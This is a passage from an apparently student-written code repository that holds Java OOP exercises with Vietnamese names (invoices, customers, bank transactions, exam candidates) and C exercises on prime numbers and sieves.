HoaDonTungSP(maSP, soLuongMua); 11 | listHDTungSP.add(a); 12 | } 13 | 14 | public HoaDon(KhachHang kh) { 15 | this.kh = kh; 16 | } 17 | 18 | public float tinhTongTienHoaDon() { 19 | float result = 0; 20 | for(int i = 0; i < listHDTungSP.size(); i++) { 21 | result += listHDTungSP.get(i).tongTien1SP; 22 | } 23 | return result; 24 | } 25 | 26 | public void info() { 27 | System.out.println("=========Thong tin Hoa Don========="); 28 | System.out.println("Ten KH: " + this.kh.tenKH); 29 | for(int i = 0; i < listHDTungSP.size(); i++) { 30 | listHDTungSP.get(i).info(); 31 | } 32 | System.out.printf("-> Tong tien Hoa Don: %.1f", tinhTongTienHoaDon()); 33 | System.out.println(""); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /LapTrinhHDT/De1MienNam/HoaDonTungSP.java: -------------------------------------------------------------------------------- 1 | package de1MienNam; 2 | 3 | public class HoaDonTungSP { 4 | SanPham sp; 5 | int soLuongMua; 6 | float tongTien1SP; 7 | 8 | public HoaDonTungSP(SanPham sp, int soLuongMua) { 9 | this.sp = sp; 10 | this.soLuongMua = soLuongMua; 11 | this.tongTien1SP = this.sp.donGia * soLuongMua; 12 | } 13 | 14 | public void info() { 15 | System.out.printf("TenSP: %s, soLuong: %d, TongTien: %.1f", this.sp.nameSP, this.soLuongMua, this.tongTien1SP); 16 | System.out.println(""); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /LapTrinhHDT/De1MienNam/KhachHang.java: -------------------------------------------------------------------------------- 1 | package de1MienNam; 2 | 3 | public class KhachHang { 4 | int maKH; 5 | String tenKH; 6 | int namSinh; 7 | DiaChi diaChi; 8 | float tongTienMuaHang; 9 | 10 | public KhachHang(int maKH, String tenKH, int namSinh, DiaChi diaChi) { 11 | this.maKH = maKH; 12 | this.tenKH = tenKH; 13 | this.namSinh = namSinh; 14 | this.diaChi = diaChi; 15 | this.tongTienMuaHang = 0; 16 | } 17 | 18 | public void setTongTienMuaHang(float tongTienMuaHang) { 19 | this.tongTienMuaHang += tongTienMuaHang; 20 | } 21 | 22 | public String getTenKH() { 23 | return tenKH; 24 | } 25 | 26 | public void setTenKH(String tenKH) { 27 | this.tenKH = tenKH; 28 | } 29 | 30 | public int getNamSinh() { 31 | return namSinh; 32 | } 33 | 34 | public void setNamSinh(int namSinh) { 35 | this.namSinh = namSinh; 36 | } 37 | 38 | public void info() { 39 | System.out.printf("MaKH: %d, Ten: %s, NamSinh: %d, DiaChi: %s", this.maKH, this.tenKH, this.namSinh, this.diaChi.info()); 40 | System.out.println(""); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /LapTrinhHDT/De1MienNam/SanPham.java: -------------------------------------------------------------------------------- 1 | package de1MienNam; 2 | 3 | public class SanPham { 4 | int maSP; 5 | String nameSP; 6 | float donGia; 7 | String ngaySanXuat; 8 | int soLuong; 9 | 10 | public SanPham(int maSP, String nameSP, float donGia, String ngaySanXuat, int soLuong) { 11 | this.maSP = maSP; 12 | this.nameSP = nameSP; 13 | this.donGia = donGia; 14 | this.ngaySanXuat = ngaySanXuat; 15 | this.soLuong = soLuong; 16 | } 17 | 18 | public void themSoLuong(int soLuong) { 19 | this.soLuong += soLuong; 20 | } 21 | 22 | public void giamSoLuong(int soLuong) { 23 | this.soLuong -= soLuong; 24 | } 25 | 26 | public void info() { 27 | System.out.printf("MaSP: %d, Ten: %s, Don gia: %.1f, NgaySX: %s, So luong: %d", this.maSP, this.nameSP, this.donGia, this.ngaySanXuat, this.soLuong); 28 | System.out.println(""); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /LapTrinhHDT/De1OnTap/263321447_2083144608508402_1811518111754653537_n.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/LapTrinhHDT/De1OnTap/263321447_2083144608508402_1811518111754653537_n.jpg -------------------------------------------------------------------------------- /LapTrinhHDT/De1OnTap/DiaChi.java: -------------------------------------------------------------------------------- 1 | package deOnTap; 2 | 3 | import java.util.Scanner; 4 | 5 | public class DiaChi { 6 | 7 | Scanner sc = new Scanner(System.in); 8 | String thon; 9 | String xaPhuong; 10 | String quanHuyen; 11 | String tinhThanhPho; 12 | 13 | public void nhap() { 14 | System.out.println("->Nhap Dia chi"); 15 | System.out.printf("Nhap Thon: "); 16 | this.thon = sc.nextLine(); 17 | System.out.printf("Nhap Xa/Phuong: "); 18 | this.xaPhuong = sc.nextLine(); 19 | System.out.printf("Nhap Quan/Huyen: "); 20 | this.quanHuyen = sc.nextLine(); 21 | System.out.printf("Nhap Tinh/Thanh Pho: "); 22 | this.tinhThanhPho = sc.nextLine(); 23 | } 24 | 25 | public String toString() { 26 | return this.thon + ", " + this.xaPhuong + ", " + this.quanHuyen + ", " + this.tinhThanhPho + "."; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /LapTrinhHDT/De1OnTap/GiaoDich.java: -------------------------------------------------------------------------------- 1 | package deOnTap; 2 | 3 | import java.time.LocalDateTime; 4 | 5 | public class GiaoDich { 6 | static int maGiaoDich = 0; 7 | int maGD; 8 | LocalDateTime thoiGianGD; 9 | int soTienGD; 10 | String loaiGD; 11 | 12 | public GiaoDich(LocalDateTime thoiGianGD, int soTienGD, String loaiGD) { 13 | GiaoDich.maGiaoDich++; 14 | this.maGD = GiaoDich.maGiaoDich; 15 | this.thoiGianGD = thoiGianGD; 16 | this.soTienGD = soTienGD; 17 | this.loaiGD = loaiGD; 18 | } 19 | 20 | public String toString() { 21 | return "MaGD: " + this.maGD + ", TG: " + this.thoiGianGD + ", SoTienGD: " + this.soTienGD + ", LoaiGD: " + this.loaiGD; 22 | } 23 | } 24 | 25 | -------------------------------------------------------------------------------- /LapTrinhHDT/De1OnTap/TaiKhoanNganHang.java: -------------------------------------------------------------------------------- 1 | package deOnTap; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Scanner; 5 | 6 | public class TaiKhoanNganHang { 7 | String soTK; 8 | private int soDu; 9 | ArrayList listGD = new ArrayList<>(); 10 | Scanner sc = new Scanner(System.in); 11 | 12 | public TaiKhoanNganHang() { 13 | this.soDu = 0; 14 | } 15 | 16 | public int getSoDu() { 17 | return soDu; 18 | } 19 | 20 | public void setSoDu(int soDu) { 21 | this.soDu = soDu; 22 | } 23 | 24 | public void nhap() { 25 | System.out.println("-> Khai bao tai khoan ngan hang: "); 26 | System.out.printf("Nhap so Tai Khoan: "); 27 | this.soTK = sc.nextLine(); 28 | } 29 | 30 | public String toSring() { 31 | return "SoTK: " + this.soTK + ", SoDu: " + this.soDu; 32 | } 33 | 34 | public void hienThiAllGD() { 35 | for(int i = 0; i < this.listGD.size(); i++) { 36 | System.out.println(" +) " + this.listGD.get(i).toString()); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /LapTrinhHDT/De2MienNam/DiaChi.java: -------------------------------------------------------------------------------- 1 | package de2MienNam; 2 | 3 | import java.util.Scanner; 4 | 5 | public class DiaChi { 6 | Scanner sc = new Scanner(System.in); 7 | String to; 8 | String phuong; 9 | String quan; 10 | String thanhPho; 11 | 12 | public void nhap() { 13 | System.out.println("-> Dia chi"); 14 | System.out.printf("Nhap To: "); 15 | this.to = sc.nextLine(); 16 | System.out.printf("Nhap Phuong: "); 17 | this.phuong = sc.nextLine(); 18 | System.out.printf("Nhap Quan: "); 19 | this.quan = sc.nextLine(); 20 | System.out.printf("Nhap Thanh Pho: "); 21 | this.thanhPho = sc.nextLine(); 22 | } 23 | 24 | public String info() { 25 | return "DiaChi: To " + this.to + ", Phuong: " + this.phuong + ", Quan: " + this.quan + ", Thanh Pho: " + this.thanhPho; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /LapTrinhHDT/De2MienNam/HoaDon.java: -------------------------------------------------------------------------------- 1 | package de2MienNam; 2 | 3 | import java.util.ArrayList; 4 | 5 | public class HoaDon { 6 | KhachHang kh; 7 | ArrayList listHDTungSP = new ArrayList<>(); 8 | 9 | public void add(SanPham maSP, int soLuongMua) { 10 | HoaDonTungSP a = new HoaDonTungSP(maSP, soLuongMua); 11 | listHDTungSP.add(a); 12 | } 13 | 14 | public HoaDon(KhachHang kh) { 15 | this.kh = kh; 16 | } 17 | 18 | public float tinhTongTienHoaDon() { 19 | float result = 0; 20 | for(int i = 0; i < listHDTungSP.size(); i++) { 21 | result += listHDTungSP.get(i).tongTien1SP; 22 | } 23 | return result; 24 | } 25 | 26 | public void info() { 27 | System.out.println("=========Thong tin Hoa Don========="); 28 | System.out.println("Ten KH: " + this.kh.tenKH); 29 | for(int i = 0; i < listHDTungSP.size(); i++) { 30 | listHDTungSP.get(i).info(); 31 | } 32 | System.out.printf("-> Tong tien Hoa Don: %.1f", tinhTongTienHoaDon()); 33 | System.out.println(""); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /LapTrinhHDT/De2MienNam/HoaDonTungSP.java: -------------------------------------------------------------------------------- 1 | package de2MienNam; 2 | 3 | public class HoaDonTungSP { 4 | SanPham sp; 5 | int soLuongMua; 6 | float tongTien1SP; 7 | 8 | public HoaDonTungSP(SanPham sp, int soLuongMua) { 9 | this.sp = sp; 10 | this.soLuongMua = soLuongMua; 11 | this.tongTien1SP = this.sp.donGia * soLuongMua; 12 | } 13 | 14 | public void info() { 15 | System.out.printf("TenSP: %s, soLuong: %d, TongTien: %.1f", this.sp.nameSP, this.soLuongMua, this.tongTien1SP); 16 | System.out.println(""); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /LapTrinhHDT/De2MienNam/KhachHang.java: -------------------------------------------------------------------------------- 1 | package de2MienNam; 2 | 3 | public class KhachHang { 4 | int maKH; 5 | String tenKH; 6 | int namSinh; 7 | DiaChi diaChi; 8 | float tongTienMuaHang; 9 | 10 | public KhachHang(int maKH, String tenKH, int namSinh, DiaChi diaChi) { 11 | this.maKH = maKH; 12 | this.tenKH = tenKH; 13 | this.namSinh = namSinh; 14 | this.diaChi = diaChi; 15 | this.tongTienMuaHang = 0; 16 | } 17 | 18 | public void setTongTienMuaHang(float tongTienMuaHang) { 19 | this.tongTienMuaHang += tongTienMuaHang; 20 | } 21 | 22 | public String getTenKH() { 23 | return tenKH; 24 | } 25 | 26 | public void setTenKH(String tenKH) { 27 | this.tenKH = tenKH; 28 | } 29 | 30 | public int getNamSinh() { 31 | return namSinh; 32 | } 33 | 34 | public void setNamSinh(int namSinh) { 35 | this.namSinh = namSinh; 36 | } 37 | 38 | public void info() { 39 | System.out.printf("MaKH: %d, Ten: %s, NamSinh: %d, DiaChi: %s", this.maKH, this.tenKH, this.namSinh, this.diaChi.info()); 40 | System.out.println(""); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /LapTrinhHDT/De2MienNam/SanPham.java: -------------------------------------------------------------------------------- 1 | package de2MienNam; 2 | 3 | public class SanPham { 4 | int maSP; 5 | String nameSP; 6 | float donGia; 7 | String ngaySanXuat; 8 | int soLuong; 9 | 10 | public SanPham(int maSP, String nameSP, float donGia, String ngaySanXuat, int soLuong) { 11 | this.maSP = maSP; 12 | this.nameSP = nameSP; 13 | this.donGia = donGia; 14 | this.ngaySanXuat = ngaySanXuat; 15 | this.soLuong = soLuong; 16 | } 17 | 18 | public void setNameSP(String nameSP) { 19 | this.nameSP = nameSP; 20 | } 21 | 22 | public void setDonGia(float donGia) { 23 | this.donGia = donGia; 24 | } 25 | 26 | public void setNgaySanXuat(String ngaySanXuat) { 27 | this.ngaySanXuat = ngaySanXuat; 28 | } 29 | 30 | public void setSoLuong(int soLuong) { 31 | this.soLuong = soLuong; 32 | } 33 | 34 | public void themSoLuong(int soLuong) { 35 | this.soLuong += soLuong; 36 | } 37 | 38 | public void giamSoLuong(int soLuong) { 39 | this.soLuong -= soLuong; 40 | } 41 | 42 | public void info() { 43 | System.out.printf("MaSP: %d, Ten: %s, Don gia: %.1f, NgaySX: %s, So luong: %d", this.maSP, this.nameSP, this.donGia, this.ngaySanXuat, this.soLuong); 44 | System.out.println(""); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /LapTrinhHDT/de2OnTap/Bao.java: -------------------------------------------------------------------------------- 1 | package de2OnTap; 2 | 3 | import java.util.Scanner; 4 | 5 | public class Bao extends TaiLieu { 6 | private int ngayPhatHanh; 7 | 8 | public int getNgayPhatHanh() { 9 | return ngayPhatHanh; 10 | } 11 | 12 | public void setNgayPhatHanh(int ngayPhatHanh) { 13 | this.ngayPhatHanh = ngayPhatHanh; 14 | } 15 | 16 | public Bao(int ngayPhatHanh, String maTaiLieu, String tenNhaSX, int soBanPhatHanh) { 17 | super(maTaiLieu, tenNhaSX, soBanPhatHanh); 18 | this.ngayPhatHanh = ngayPhatHanh; 19 | } 20 | 21 | public Bao(int ngayPhatHanh) { 22 | this.ngayPhatHanh = ngayPhatHanh; 23 | } 24 | 25 | public Bao() { 26 | } 27 | 28 | public void nhap() { 29 | super.nhap(); 30 | Scanner sc = new Scanner(System.in); 31 | System.out.printf("Nhap So Ngay Phat Hanh: "); 32 | this.ngayPhatHanh = sc.nextInt(); 33 | sc.nextLine(); 34 | } 35 | 36 | @Override 37 | public String toString() { 38 | return "Bao: " + super.toString() + ", ngayPhatHanh=" + ngayPhatHanh; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /LapTrinhHDT/de2OnTap/Sach.java: -------------------------------------------------------------------------------- 1 | package de2OnTap; 2 | 3 | import java.util.Scanner; 4 | 5 | public class Sach extends TaiLieu { 6 | private String tenTacGia; 7 | private int soTrang; 8 | 9 | public String getTenTacGia() { 10 | return tenTacGia; 11 | } 12 | 13 | public void setTenTacGia(String tenTacGia) { 14 | this.tenTacGia = tenTacGia; 15 | } 16 | 17 | public int getSoTrang() { 18 | return soTrang; 19 | } 20 | 21 | public void setSoTrang(int soTrang) { 22 | this.soTrang = soTrang; 23 | } 24 | 25 | public Sach(String tenTacGia, int soTrang, String maTaiLieu, String tenNhaSX, int soBanPhatHanh) { 26 | super(maTaiLieu, tenNhaSX, soBanPhatHanh); 27 | this.tenTacGia = tenTacGia; 28 | this.soTrang = soTrang; 29 | } 30 | 31 | public Sach() { 32 | } 33 | 34 | public void nhap() { 35 | super.nhap(); 36 | Scanner sc = new Scanner(System.in); 37 | System.out.printf("Nhap Ten Tac Gia: "); 38 | this.tenTacGia = sc.nextLine(); 39 | System.out.printf("Nhap So Trang: "); 40 | this.soTrang = sc.nextInt(); 41 | sc.nextLine(); 42 | } 43 | 44 | @Override 45 | public String toString() { 46 | return "Sach: " + super.toString() + ", tenTacGia=" + tenTacGia + ", soTrang=" + soTrang; 47 | } 48 | 49 | 50 | 51 | } 52 | -------------------------------------------------------------------------------- /LapTrinhHDT/deSo05/Main.java: -------------------------------------------------------------------------------- 1 | package deSo05; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.FileReader; 5 | import java.util.ArrayList; 6 | 7 | public class Main { 8 | public static void main(String[] args) { 9 | ArrayList listNV = new ArrayList<>(); 10 | 11 | try { 12 | FileReader fr = new FileReader("test.txt"); 13 | BufferedReader br = new BufferedReader(fr); 14 | String s = br.readLine(); 15 | while(s != null) { 16 | String[] listStr = s.split("\\$"); 17 | NhanVien nv = new NhanVien(); 18 | nv.hoTen = listStr[0]; 19 | nv.ngaySinh = listStr[1]; 20 | nv.diaChi = listStr[2]; 21 | nv.gioiTinh = listStr[3]; 22 | nv.maNhanVien = listStr[4]; 23 | nv.heSoLuong = Float.parseFloat(listStr[5]); 24 | nv.donVi = listStr[6]; 25 | listNV.add(nv); 26 | s = br.readLine(); 27 | } 28 | } catch (Exception e) { 29 | // 30 | } 31 | 32 | System.out.println("Danh sach nhan vien: "); 33 | for(NhanVien nv : listNV) { 34 | System.out.println(nv.toString()); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /LapTrinhHDT/deSo05/NhanVien.java: -------------------------------------------------------------------------------- 1 | package deSo05; 2 | 3 | public class NhanVien extends Person { 4 | protected String maNhanVien; 5 | protected float heSoLuong; 6 | protected String donVi; 7 | 8 | public NhanVien(String maNhanVien, float heSoLuong, String donVi, String hoTen, String ngaySinh, String diaChi, String gioiTinh) { 9 | super(hoTen, ngaySinh, diaChi, gioiTinh); 10 | this.maNhanVien = maNhanVien; 11 | this.heSoLuong = heSoLuong; 12 | this.donVi = donVi; 13 | } 14 | 15 | public NhanVien() { 16 | } 17 | 18 | @Override 19 | public String toString() { 20 | return super.toString() + ", maNhanVien=" + maNhanVien + ", heSoLuong=" + heSoLuong + ", donVi=" + donVi; 21 | } 22 | 23 | } 24 | -------------------------------------------------------------------------------- /LapTrinhHDT/deSo05/Person.java: -------------------------------------------------------------------------------- 1 | package deSo05; 2 | 3 | public class Person { 4 | protected String hoTen; 5 | protected String ngaySinh; 6 | protected String diaChi; 7 | protected String gioiTinh; 8 | 9 | public Person(String hoTen, String ngaySinh, String diaChi, String gioiTinh) { 10 | this.hoTen = hoTen; 11 | this.ngaySinh = ngaySinh; 12 | this.diaChi = diaChi; 13 | this.gioiTinh = gioiTinh; 14 | } 15 | 16 | public Person() { 17 | } 18 | 19 | @Override 20 | public String toString() { 21 | return "Thong tin: " + "hoTen=" + hoTen + ", ngaySinh=" + ngaySinh + ", diaChi=" + diaChi + ", gioiTinh=" + gioiTinh; 22 | } 23 | 24 | 25 | } 26 | -------------------------------------------------------------------------------- /LapTrinhHDT/deSo07/Main.java: -------------------------------------------------------------------------------- 1 | package deSo07; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Scanner; 5 | 6 | public class Main { 7 | @SuppressWarnings("empty-statement") 8 | public static void main(String[] args) { 9 | int select = 1; 10 | ArrayList listThiSinh = new ArrayList<>(); 11 | Scanner sc = new Scanner(System.in); 12 | do { 13 | System.out.println("=====Nhap thi sinh====="); 14 | String khoi; 15 | System.out.printf("Nhap khoi(A/C): "); 16 | khoi = sc.nextLine(); 17 | ThiSinh ts; 18 | if(khoi.equals("A")) { 19 | ts = new ThiSinhKhoiA(); 20 | ts.nhap(); 21 | } else { 22 | ts = new ThiSinhKhoiC(); 23 | ts.nhap(); 24 | } 25 | listThiSinh.add(ts); 26 | System.out.printf("Ban muon nhap tiep khong? (1: tiep, 0: thoat): "); 27 | select = sc.nextInt(); 28 | sc.nextLine(); 29 | } while(select == 1); 30 | 31 | System.out.println("Thong tin cac thi sinh trung tuyen la (> 20): "); 32 | 33 | for(ThiSinh ts : listThiSinh) { 34 | if(ts.getTongDiem() > 20) { 35 | System.out.println(ts.toString()); 36 | }; 37 | } 38 | 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /LapTrinhHDT/deSo07/ThiSinh.java: -------------------------------------------------------------------------------- 1 | package deSo07; 2 | 3 | import java.util.Scanner; 4 | 5 | public abstract class ThiSinh { 6 | protected String hoTen; 7 | protected String ngaySinh; 8 | protected String diaChi; 9 | 10 | public ThiSinh() { 11 | } 12 | 13 | public ThiSinh(String hoTen, String ngaySinh, String diaChi) { 14 | this.hoTen = hoTen; 15 | this.ngaySinh = ngaySinh; 16 | this.diaChi = diaChi; 17 | } 18 | 19 | public void nhap() { 20 | Scanner sc = new Scanner(System.in); 21 | System.out.printf("Nhap ho ten: "); 22 | hoTen = sc.nextLine(); 23 | System.out.printf("Nhap ngay sinh: "); 24 | ngaySinh = sc.nextLine(); 25 | System.out.printf("Nhap dia chi: "); 26 | diaChi = sc.nextLine(); 27 | } 28 | 29 | @Override 30 | public String toString() { 31 | return "Thong tin: " + "hoTen=" + hoTen + ", ngaySinh=" + ngaySinh + ", diaChi=" + diaChi; 32 | } 33 | 34 | abstract float getTongDiem(); 35 | } 36 | -------------------------------------------------------------------------------- /LapTrinhHDT/deSo07/ThiSinhKhoiA.java: -------------------------------------------------------------------------------- 1 | package deSo07; 2 | 3 | import java.util.Scanner; 4 | 5 | public class ThiSinhKhoiA extends ThiSinh { 6 | protected float diemToan; 7 | protected float diemHoa; 8 | protected float diemLy; 9 | 10 | public ThiSinhKhoiA() { 11 | } 12 | 13 | public ThiSinhKhoiA(float diemToan, float diemHoa, float diemLy, String hoTen, String ngaySinh, String diaChi) { 14 | super(hoTen, ngaySinh, diaChi); 15 | this.diemToan = diemToan; 16 | this.diemHoa = diemHoa; 17 | this.diemLy = diemLy; 18 | } 19 | 20 | @Override 21 | public String toString() { 22 | return super.toString() + ", diemToan=" + diemToan + ", diemHoa=" + diemHoa + ", diemLy=" + diemLy; 23 | } 24 | 25 | 26 | 27 | @Override 28 | public void nhap() { 29 | super.nhap(); 30 | Scanner sc = new Scanner(System.in); 31 | System.out.printf("Nhap diem Toan: "); 32 | diemToan = sc.nextFloat(); 33 | System.out.printf("Nhap diem Hoa: "); 34 | diemHoa = sc.nextFloat(); 35 | System.out.printf("Nhap diem Ly: "); 36 | diemLy = sc.nextFloat(); 37 | sc.nextLine(); 38 | } 39 | 40 | @Override 41 | float getTongDiem() { 42 | return diemHoa + diemLy + diemToan; 43 | } 44 | 45 | 46 | } 47 | -------------------------------------------------------------------------------- /LapTrinhHDT/deSo07/ThiSinhKhoiC.java: -------------------------------------------------------------------------------- 1 | package deSo07; 2 | 3 | import java.util.Scanner; 4 | 5 | public class ThiSinhKhoiC extends ThiSinh{ 6 | protected float diemVan; 7 | protected float diemSu; 8 | protected float diemDia; 9 | 10 | public ThiSinhKhoiC() { 11 | } 12 | 13 | public ThiSinhKhoiC(float diemVan, float diemSu, float diemDia, String hoTen, String ngaySinh, String diaChi) { 14 | super(hoTen, ngaySinh, diaChi); 15 | this.diemVan = diemVan; 16 | this.diemSu = diemSu; 17 | this.diemDia = diemDia; 18 | } 19 | 20 | @Override 21 | public String toString() { 22 | return super.toString() + ", diemVan=" + diemVan + ", diemSu=" + diemSu + ", diemDia=" + diemDia; 23 | } 24 | 25 | 26 | 27 | @Override 28 | public void nhap() { 29 | super.nhap(); 30 | Scanner sc = new Scanner(System.in); 31 | System.out.printf("Nhap diem Van: "); 32 | diemVan = sc.nextFloat(); 33 | System.out.printf("Nhap diem Su: "); 34 | diemSu = sc.nextFloat(); 35 | System.out.printf("Nhap diem Dia: "); 36 | diemDia = sc.nextFloat(); 37 | sc.nextLine(); 38 | } 39 | 40 | @Override 41 | float getTongDiem() { 42 | return diemDia + diemSu + diemVan; 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /LapTrinhHDT/giuaKi/Book.java: -------------------------------------------------------------------------------- 1 | package giuaKi; 2 | 3 | public class Book { 4 | private int ID; 5 | private String name; 6 | private double price; 7 | 8 | public int getID() { 9 | return ID; 10 | } 11 | 12 | public void setID(int ID) { 13 | this.ID = ID; 14 | } 15 | 16 | public String getName() { 17 | return name; 18 | } 19 | 20 | public void setName(String name) { 21 | this.name = name; 22 | } 23 | 24 | public double getPrice() { 25 | return price; 26 | } 27 | 28 | public void setPrice(double price) { 29 | this.price = price; 30 | } 31 | 32 | public void hienThiSach() { 33 | System.out.println("ID: " + this.ID + ", Name: " + this.name + ", Price: " + this.price); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | Hieu Joyce 3 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isQprime(int n){ 6 | int soUoc = 0; 7 | for(int i = 1; i <= n; i++){ 8 | if(n % i == 0){ 9 | soUoc++; 10 | if(soUoc > 4) return 0; 11 | } 12 | } 13 | if(soUoc == 4) return 1; 14 | else return 0; 15 | } 16 | 17 | void inSoQprime(int n){ 18 | printf("\nKQ: "); 19 | for(int i = 2; i <= n; i++){ 20 | if(isQprime(i) == 1) printf("%d ", i); 21 | } 22 | } 23 | 24 | int main(){ 25 | int n; 26 | printf("Nhap n: "); 27 | scanf("%d", &n); 28 | inSoQprime(n); 29 | getch(); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau10.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isSNT(int n){ 6 | if(n < 2) return 0; 7 | for(int i = 2; i * i <= n; i++){ 8 | if(n % i == 0) return 0; 9 | } 10 | return 1; 11 | } 12 | 13 | int main(){ 14 | int N, soUoc = 0, soUocNgTo = 0; 15 | printf("Nhap N: "); 16 | scanf("%d", &N); 17 | for(int i = 1; i <= N; i++){ 18 | if(N % i == 0){ 19 | soUoc++; 20 | if(isSNT(i) == 1){ 21 | soUocNgTo++; 22 | } 23 | } 24 | } 25 | printf("\nKQ: Co %d uoc va %d uoc nguyen to", soUoc, soUocNgTo); 26 | getch(); 27 | return 0; 28 | } -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau11.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | int tongSNT(int sang[], int n){ 18 | int total = 0; 19 | for(int i = 2; i <= n; i++) { 20 | if(sang[i] == 1) total += i; 21 | } 22 | return total; 23 | } 24 | 25 | int main(){ 26 | int N; 27 | printf("Nhap N: "); 28 | scanf("%d", &N); 29 | int sang[N+1]; 30 | sangNguyenThuy(sang, N); 31 | int total = tongSNT(sang, N); 32 | printf("\nKQ: Tong = %d", total); 33 | getch(); 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau14.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int isSNT(int n){ 6 | if(n < 2) return 0; 7 | for(int i = 2; i * i <= n; i++){ 8 | if(n % i == 0) return 0; 9 | } 10 | return 1; 11 | } 12 | 13 | int daoNguocSo(int n){ 14 | int res = 0, tmp; 15 | while(n > 0){ 16 | tmp = n % 10; 17 | res = res * 10 + tmp; 18 | n = n / 10; 19 | } 20 | return res; 21 | } 22 | 23 | int main(){ 24 | printf("KQ: "); 25 | for(int i = 5; i < 10; i++){ 26 | if(isSNT(daoNguocSo(i*i*i)) == 1) printf("%d ", i*i*i); 27 | } 28 | getch(); 29 | return 0; 30 | } -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau15.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void sangNguyenThuy(int sang[], int n) { 6 | for(int i = 2; i <= n; i++) { 7 | sang[i] = 1; 8 | } 9 | for(int i = 2; i * i <= n; i++) { 10 | if(sang[i] == 1) { 11 | for(int j = i + i; j <= n; j += i) 12 | sang[j] = 0; 13 | } 14 | } 15 | } 16 | 17 | int main(){ 18 | int N; 19 | printf("Nhap N: "); 20 | scanf("%d", &N); 21 | int sang[N+3]; 22 | sangNguyenThuy(sang, N+2); 23 | printf("\nKQ: Nhung cap so NT sinh doi la:\n"); 24 | for(int i = 2; i <= N; i++){ 25 | if(sang[i] == 1 && sang[i+2] == 1) printf("(%d, %d), ", i, i + 2); 26 | } 27 | getch(); 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau16.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int isSNT(int n){ 7 | if(n < 2) return 0; 8 | for(int i = 2; i * i <= n; i++){ 9 | if(n % i == 0) return 0; 10 | } 11 | return 1; 12 | } 13 | 14 | int main(){ 15 | int N; 16 | printf("Nhap N: "); 17 | scanf("%d", &N); 18 | int a[N]; 19 | srand((int)time(0));//Khoi tao bo sinh so ngau nhien 20 | for(int i = 0; i < N; i++){ 21 | a[i] = rand(); 22 | } 23 | printf("Mang sinh ngau nhien:\n"); 24 | for(int i = 0; i < N; i++){ 25 | if(i == 0) printf("[%d, ", a[i]); 26 | else if(i == N - 1) printf("%d]", a[i]); 27 | else printf("%d, ", a[i]); 28 | } 29 | int check = 0; 30 | printf("\nKQ: "); 31 | for(int i = 0; i < N; i++){ 32 | if(isSNT(a[i]) == 1){ 33 | printf("%d, ", a[i]); 34 | check++; 35 | } 36 | } 37 | if(check == 0) printf("Khong co SNT nao trong mang"); 38 | else printf("la SNT trong mang"); 39 | getch(); 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau17.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int isSNT(int n){ 7 | if(n < 2) return 0; 8 | for(int i = 2; i * i <= n; i++){ 9 | if(n % i == 0) return 0; 10 | } 11 | return 1; 12 | } 13 | 14 | int main(){ 15 | int A, B, C, x, res; 16 | printf("Nhap A: "); 17 | scanf("%d", &A); 18 | printf("Nhap B: "); 19 | scanf("%d", &B); 20 | printf("Nhap C: "); 21 | scanf("%d", &C); 22 | for(int i = 1; ; i++){ 23 | res = A * (int)pow(i, 2) + B * i + C; 24 | if(isSNT(res) == 1){ 25 | x = i; 26 | break; 27 | } 28 | } 29 | printf("\nA * x ^ 2 + B * x + C = %d", res); 30 | printf("\nKQ: Voi x = %d thi %d la SNT", x, res); 31 | getch(); 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /ThuatToanATTTDeThi/Cau19.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int isSNT(int n){ 7 | if(n < 2) return 0; 8 | for(int i = 2; i * i <= n; i++){ 9 | if(n % i == 0) return 0; 10 | } 11 | return 1; 12 | } 13 | 14 | int main(){ 15 | int A, B, C, m, l, res; 16 | printf("Nhap A: "); 17 | scanf("%d", &A); 18 | printf("Nhap B: "); 19 | scanf("%d", &B); 20 | 